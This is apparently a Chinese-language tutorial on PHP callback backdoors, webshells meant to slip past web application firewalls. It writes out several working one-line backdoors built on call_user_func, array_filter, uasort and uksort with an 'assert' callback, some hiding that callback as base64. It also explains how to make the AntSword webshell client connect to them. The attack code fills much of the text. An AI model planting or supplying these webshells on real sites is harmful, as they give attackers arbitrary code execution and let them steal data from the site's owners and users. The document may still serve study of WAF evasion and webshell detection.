什么是PHP回调后门?
PHP回调后门是指攻击者利用PHP的回调函数等技术,绕过WAF(Web应用防火墙),在受攻击的PHP应用程序中插入恶意代码。这种后门可以被用来执行任意PHP代码,例如访问数据库、执行系统命令、窃取敏感信息等,具有极大的危害性。
1. 初始的回调后门
call_user_func('assert', $_REQUEST['pass']);
解析:
call_user_func():把第一个参数作为回调函数调用。assert():用于执行传入的字符串代码。$_REQUEST['pass']:攻击者控制的输入。
示例:执行 phpinfo() 查看PHP环境信息
如果攻击者向 pass 参数传递 phpinfo();,则代码执行后会显示PHP的完整环境信息。

示例:蚁剑连接webshell



失败解析:
-
assert() 只能执行字符串代码
-
assert($code);等价于if (!eval($code)) throw new AssertionError(); -
assert($_POST[123]);的问题是,如果$_POST[123]是个未定义变量或者非字符串,它会返回NULL,导致assert(NULL);直接返回false,没有实际执行任何代码。 -
assert('eval($_POST[123]);');这样传入的是 字符串形式的PHP代码 ,assert()解析后相当于eval($_POST[123]);,从而可以执行$_POST[123]传入的任意命令。
-
-
蚁剑默认发送的Payload
-
当
body传pass=$_POST[123]时,assert($_POST[123]);可能解析为assert(NULL);或者assert(空字符串);,直接返回false,因此没有返回值。 -
当
pass='eval($_POST[123]);'时,assert('eval($_POST[123]);');由于是字符串,符合 assert() 语法要求 ,eval($_POST[123]);成功执行,从而蚁剑的WebShell成功运行。
-
2. 数组操作造成的单参数回调后门
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
解析:
array():创建数组,包含用户传入的$_POST['pass']。array_filter():使用回调函数过滤数组元素。base64_decode($e):解码后作为回调函数。
如果 e 传递的是 YXNzZXJ0(即 assert 的Base64编码),则 array_filter() 会执行 assert($_POST['pass']);,从而执行传入的PHP代码。

连接蚁剑

3. PHP 5.4.8+ 中的 assert 后门
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
解析:
uasort():使用回调函数对数组的值进行排序。base64_decode($e):解码后作为排序回调。
如果 e 传递的是 YXNzZXJ0,那么 uasort($arr, 'assert');,相当于执行 assert($_REQUEST['pass']);,从而执行PHP代码。
uksort 变体
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
uksort()使用用户自定义的回调函数对数组键名进行排序。e传递assert,等价于执行assert($_REQUEST['pass']);。
适用版本
- 在PHP 5.3版本会报错,提示
assert只能有一个参数。 - 在PHP 5.4+ 版本下可以成功执行。

